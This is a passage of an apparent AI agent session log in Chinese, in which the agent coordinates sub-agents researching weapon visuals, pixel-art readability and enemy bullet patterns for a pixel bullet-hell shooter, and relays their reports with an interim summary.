**大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*", "line_start": 1, "line_end": 295, "total_lines": 295, "file_size": 23844, "char_count": 11153, "message": "已读取 research/weapon_system/weapon_research.md 的内容(行 1~295)"}}, "tool_call_id": "read_file_7", "name": "read_file"}, {"role": "tool", "content": "子智能体 #2 状态: running\n调用了11次\n阅读了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令\n调研弹幕射击游戏敌方弹幕模式", "timestamp": "2026-08-23T12:32:55.892500", "message_id": "msg_9ac34dacd65a4e97a73d7dd60bff7702", "metadata": {"tool_payload": {"success": true, "results": [{"agent_id": 2, "found": true, "task_id": "sub_2_1787459391_a9b055", "status": "running", "summary": "调研弹幕射击游戏敌方弹幕模式", "created_at": 1787459391.223906, "updated_at": 1787459574.405153, "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "stats": {"runtime_start": 1787459391224.0571, "runtime_seconds": 139, "files_read": 0, "write_files": 0, "edit_files": 0, "searches": 0, "web_pages": 20, "commands": 1, "api_calls": 11, "token_usage": {"prompt": 438417, "completion": 8577, "total": 446994}, "current_context_tokens": 76472, "compress_round": 0, "turn_count": 11}, "stats_summary": "调用了11次\n阅读了0次文件\n写入了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令", "final_result": null}]}}, "tool_call_id": "get_sub_agent_status_8", "name": "get_sub_agent_status"}, {"role": "assistant", "reasoning_content": "子智能体2还在运行中,让我继续等待它的完成。同时我已经有了子智能体1和3的报告,可以先查看一下内容。两份报告都非常详细和高质量。\n\n让我再检查一下子智能体2的状态,或者直接等待系统通知。", "content": "**子智能体1和3都已完成**,报告质量非常高!只剩 **子智能体2(弹幕模式)** 还在运行中,让我检查一下它的最新状态。", "timestamp": "2026-08-23T12:33:03.891296", "message_id": "msg_c55007a9e6004d4ea4ac3a5b2b32e037", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "get_sub_agent_status_9", "index": 0, "type": "function", "function": {"name": "get_sub_agent_status", "arguments": "{\"intent\": \"检查子智能体2最新状态\", \"agent_ids\": [2]}"}}]}, {"role": "tool", "content": "子智能体 #2 状态: running\n调用了11次\n阅读了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令\n调研弹幕射击游戏敌方弹幕模式", "timestamp": "2026-08-23T12:33:07.248264", "message_id": "msg_0231245e3b894dcdb4f9689a6660b9e9", "metadata": {"tool_payload": {"success": true, "results": [{"agent_id": 2, "found": true, "task_id": "sub_2_1787459391_a9b055", "status": "running", "summary": "调研弹幕射击游戏敌方弹幕模式", "created_at": 1787459391.223906, "updated_at": 1787459585.798444, "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "stats": {"runtime_start": 1787459391224.0571, "runtime_seconds": 139, "files_read": 0, "write_files": 0, "edit_files": 0, "searches": 0, "web_pages": 20, "commands": 1, "api_calls": 11, "token_usage": {"prompt": 438417, "completion": 8577, "total": 446994}, "current_context_tokens": 76472, "compress_round": 0, "turn_count": 11}, "stats_summary": "调用了11次\n阅读了0次文件\n写入了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令", "final_result": null}]}}, "tool_call_id": "get_sub_agent_status_9", "name": "get_sub_agent_status"}, {"role": "assistant", "reasoning_content": "子智能体2还在运行中,状态没有变化。看起来它还在进行网络调研。让我再稍微等待一下,或者我可以先向用户展示已经完成的调研成果。\n\n不过按照sub-agent-guide的建议,我应该等待通知而不是主动轮询。但既然用户可能想知道进度,我可以先展示已有的两份报告的核心发现,并告知最后一份即将完成。\n\n实际上,让我再等一下,子智能体2可能很快就会完成。我可以再查一次状态。", "content": "子智能体2还在调研中,让我再稍等一下——", "timestamp": "2026-08-23T12:33:14.274277", "message_id": "msg_7f54a28aeb714fe28989a96a7add2d2a", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "sleep_10", "index": 0, "type": "function", "function": {"name": "sleep", "arguments": "{\"intent\": \"等待子智能体2完成\", \"seconds\": 15, \"reason\": \"等待最后一份弹幕模式调研报告完成\"}"}}]}, {"role": "tool", "content": "已等待 15.0 秒;原因:等待最后一份弹幕模式调研报告完成;时间:2026-08-23T12:33:30.767553", "timestamp": "2026-08-23T12:33:30.868034", "message_id": "msg_38619a9f2dd048748b6f6941bc07ebda", "metadata": {"tool_payload": {"success": true, "message": "已等待 15.0 秒", "reason": "等待最后一份弹幕模式调研报告完成", "timestamp": "2026-08-23T12:33:30.767553"}}, "tool_call_id": "sleep_10", "name": "sleep"}, {"role": "assistant", "reasoning_content": "让我再检查一下子智能体2的状态,看看是否已经完成。", "content": "", "timestamp": "2026-08-23T12:33:35.620187", "message_id": "msg_9fa58b78b2ab4163886e14524931c7dd", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "get_sub_agent_status_11", "index": 0, "type": "function", "function": {"name": "get_sub_agent_status", "arguments": "{\"intent\": \"再次检查子智能体2状态\", \"agent_ids\": [2]}"}}]}, {"role": "tool", "content": "子智能体 #2 状态: running\n调用了14次\n阅读了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了2个指令\n调研弹幕射击游戏敌方弹幕模式", "timestamp": "2026-08-23T12:33:39.364649", "message_id": "msg_2b9668545f78467586fd20c84714f2c5", "metadata": {"tool_payload": {"success": true, "results": [{"agent_id": 2, "found": true, "task_id": "sub_2_1787459391_a9b055", "status": "running", "summary": "调研弹幕射击游戏敌方弹幕模式", "created_at": 1787459391.223906, "updated_at": 1787459617.913922, "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "stats": {"runtime_start": 1787459391224.0571, "runtime_seconds": 223, "files_read": 1, "write_files": 1, "edit_files": 0, "searches": 0, "web_pages": 20, "commands": 2, "api_calls": 14, "token_usage": {"prompt": 706679, "completion": 21189, "total": 727868}, "current_context_tokens": 94052, "compress_round": 0, "turn_count": 14}, "stats_summary": "调用了14次\n阅读了1次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了2个指令", "final_result": null}]}}, "tool_call_id": "get_sub_agent_status_11", "name": "get_sub_agent_status"}, {"role": "assistant", "reasoning_content": "子智能体2还在运行中,调用了14次,查看了20个网页。它正在努力工作。让我继续等待,或者我可以先把已有的两份报告的核心内容向用户做一个初步汇报,等最后一份完成后再做最终整合。\n\n不过根据sub-agent-guide的指示,后台模式下我应该等待系统通知。但用户可能想知道进度。让我再等一小会儿。\n\n实际上,我已经有了非常详细的两份报告,可以先给用户做一个中期汇报,展示核心发现,同时说明最后一份报告即将到来。这样用户不会感到等待无聊。\n\n让我先整理一下已有两份报告的核心亮点。", "content": "子智能体2还在深入调研中(已调用14次工具、查看20个网页)。为了不让你久等,我先汇报 **已完成的两份报告的核心发现**,最后一份完成后立即补充!\n\n---\n\n## 📋 调研中期汇报:像素弹幕射击游戏美术设计\n\n---\n\n### 一、武器系统设计(来自子智能体1)\n\n**7大武器类型及经典例子:**\n\n| 武器类型 | 经典游戏例子 | 视觉特征 |\n|---------|-------------|---------|\n| **🎯 散弹(Spread)** | 雷电Vulcan、东方灵梦C、幽幽子蝶弹 | 扇形多弹丸、覆盖广、离散分布 |\n| **🔴 集中射击(Focus)** | 东方低速模式、风神录封印针 | 弹丸收拢成束、前方高伤害 |\n| **⚡ 激光/光束** | 怒首领蜂Laser、雷电Plasma | 粗直持续光柱+起点光晕+灵气光环 |\n| **🧭 追踪弹(Homing)** | 东方灵梦A诱导灵符、雷电H导弹 | 弹丸带转弯行为+弯曲尾迹+发光引导火 |\n| **🛡️ 环绕/子机武器** | R-Type力球、Gradius Option、东方子机 | 发光球体挂在自机旁、数量=火力等级 |\n| **💥 蓄力射击** | R-Type波动炮 | 充能指示器(能量球由小变大)+释放时大弹体+闪光 |\n| **💣 炸弹/清屏** | 东方符卡BOMB、怒首领蜂Bomb | 全屏特效+扩散圆环+敌弹变道具+短暂无敌 |\n\n**关键设计洞察:**\n- 东方Project的**符卡系统**把炸弹做成了\"有名字有立绘的招式\",是玩法与世界观结合的巅峰\n- 怒首领蜂的**Hyper系统**将\"强化\"与\"难度提升\"挂钩——高回报高风险\n- **火力等级必须可视化**:玩家不需要看HUD就能通过子机数量/弹丸数感知等级\n\n---\n\n### 二、像素美术风格设计(来自子智能体3)\n\n**核心原则:弹幕游戏的美术不是\"好看\",而是\"可读性(Readability)\"!**\n\n#### 分辨率与尺寸基准\n- **推荐逻辑分辨率**:480×270 或 320×180,整数倍放大3~4倍\n- **自机精灵**:16×16(极简)/ 24×24 / 32×32(推荐起步)\n- **杂兵**:16×16 ~ 24×24;**Boss**:48×48 ~ 96×96\n- **子弹**:8×8(小圆弹)~ 16×16(中圆弹)~ 32×32(特殊弹)\n\n#### 色板分工体系\n| 元素 | 颜色建议 |\n|-----|---------|\n| **背景** | 低饱和中暗调(深蓝紫灰系)|\n| **敌方子弹** | 红/粉/紫系 + 白/亮色描边 |\n| **我方子弹** | 青/绿白系 + 深色描边 |\n| **自机** | 高对比品牌色(如红白、蓝白)|\n| **道具** | 金/橙(得分)、红(火力)、蓝(速度)、银灰(Bomb)|\n| **爆炸** | 白→橙红黄→灰 |\n\n#### 动画帧数基线\n- 自机滚转:**3~5帧** + 尾焰**2~4帧**\n- 子弹旋转:**4帧**(或8帧)、脉动**2~4帧**、闪烁**2帧**\n- 爆炸:**6~10帧**(白热→暖色→灰烟)\n- 统一帧率:**12~15 FPS**\n\n#### 判定框视觉提示\n- 东方系列标准:**低速/聚焦模式下显示半透明小圆圈+中心实点**\n- 判定圈与真实判定完全同心,让\"视觉大、判定小\"的公平性可视化\n\n#### 绘制顺序(渲染层,从底到顶)\n```\n背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → 敌方子弹(最顶层)\n```\n敌弹内部:小快弹 > 大慢弹\n\n---\n\n### 三、爆炸特效设计公式(SLYNYRD方法)\n1. **几何引导**:圆→扩张变细环\n2. **颜色演变**:白炽(最亮)→暖色(红橙黄)→灰烟消散\n3. **物理节奏**:热气先快后慢→**先迅速扩张、后缓慢消散**\n4. **Boss爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片四散\n\n---\n\n### 四、免费素材资源推荐\n\n| 资源 | 内容 | 链接 |\n|-----|------|------|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方风格的子弹精灵包,免费 | itch.io |\n| **Pixel SHMUP Ships**(DyLESTorm)| 免费1自机+2敌机+2弹幕+8帧爆炸+UI | livingtheindie.com |\n| **Explosions, Bullets, Fire** | 爆炸/子弹/火/电等离子精灵,CC0 | OpenGameArt |\n| **Free Laser Bullets Pack 2020** | 66个CC0激光/子弹PNG | OpenGameArt |\n\n---\n\n**⏳ 正在等待:子智能体2(敌方弹幕模式设计)——涵盖15种经典弹幕模式、数学公式、Boss战设计等,预计即将完成!**", "timestamp": "2026-08-23T12:34:04.887278", "message_id": "msg_4686c32a4131408da322663817007340", "metadata": {"model_key": "kimi-k2.6"}}, {"role": "user", "content": "[系统通知|sub_agent]\n✅ 子智能体2 任务摘要:调研弹幕射击游戏敌方弹幕模式 已完成。\n\n调用了16次\n阅读了1次文件\n写入了1次文件\n编辑了1次文件\n搜索了0次内容\n查看了20个网页\n运行了2个指令\n\n运行了236秒\n\n已完成弹幕射击游戏敌方弹幕模式调研,交付文件:research/bullet_patterns/bullet_pattern_research.md(约43KB,436行)。报告结构:①弹幕与普通STG区别及幕帘火/判定点/擦弹等背景概念;②9类任务要求模式(环形/螺旋/扇形/直线/随机/追踪/反弹/滞留/组合)+调研补充的10类常用模式(波型/网格/花状/激光/分裂等),每类含名称、视觉描述、数学公式、经典游戏例子、像素风格设计建议;③Boss战设计(东方符卡系统、密度控制、安全路径与微/宏闪避、时间限制与五要素);④数学原理(参数体系、sin/cos公式、变速、极坐标/贝塞尔曲线、对象池性能);⑤像素风格视觉设计(东方弹型库、颜色编码、hitbox与可躲避性、发光/描边/层级);⑥落地建议清单;⑦来源与置信度说明及参考链接。信息来源:note.com、Sparen指南、Wikipedia符卡、thwiki弹型、slynyrd Pixelblog、Game Developer等约20个网页,均已标注;常识性例子与综合建议已明确区分置信度。\n\n交付目录:/Users/demo/starraid/research/bullet_patterns", "timestamp": "2026-08-23T12:34:05.965908", "message_id": "msg_fc99b398ad6a45629caa6171e1a873ce", "metadata": {"message_source": "sub_agent", "visibility": "compact", "starts_work": false, "is_auto_generated": true, "auto_message_type": "completion_notice"}}, {"role": "assistant", "reasoning_content": "太好了!所有三个子智能体都完成了。子智能体2的报告非常详细(43KB, 436行),涵盖了19种弹幕模式、Boss战设计、数学原理等。让我读取这份报告,然后整合三份报告为用户生成一份完整的汇总。\n\n不过报告有436行,可能比较长。让我先读取,然后为用户整理一份精华版。", "content": "全部三份子报告都已完成!让我读取最后一份弹幕模式调研报告。", "timestamp": "2026-08-23T12:34:16.674025", "message_id": "msg_e2a6dc46705b445eb2d23f26a10e654d", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "read_file_12", "index": 0, "type": "function", "function": {"name": "read_file", "arguments": "{\"intent\": \"读取弹幕模式调研报告\", \"path\": \"research/bullet_patterns/bullet_pattern_research.md\", \"type\": \"read\"}"}}]}, {"role": "tool", "content": "读取 research/bullet_patterns/bullet_pattern_research.md 行 1~437 (max_chars=50000)\n```\n# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 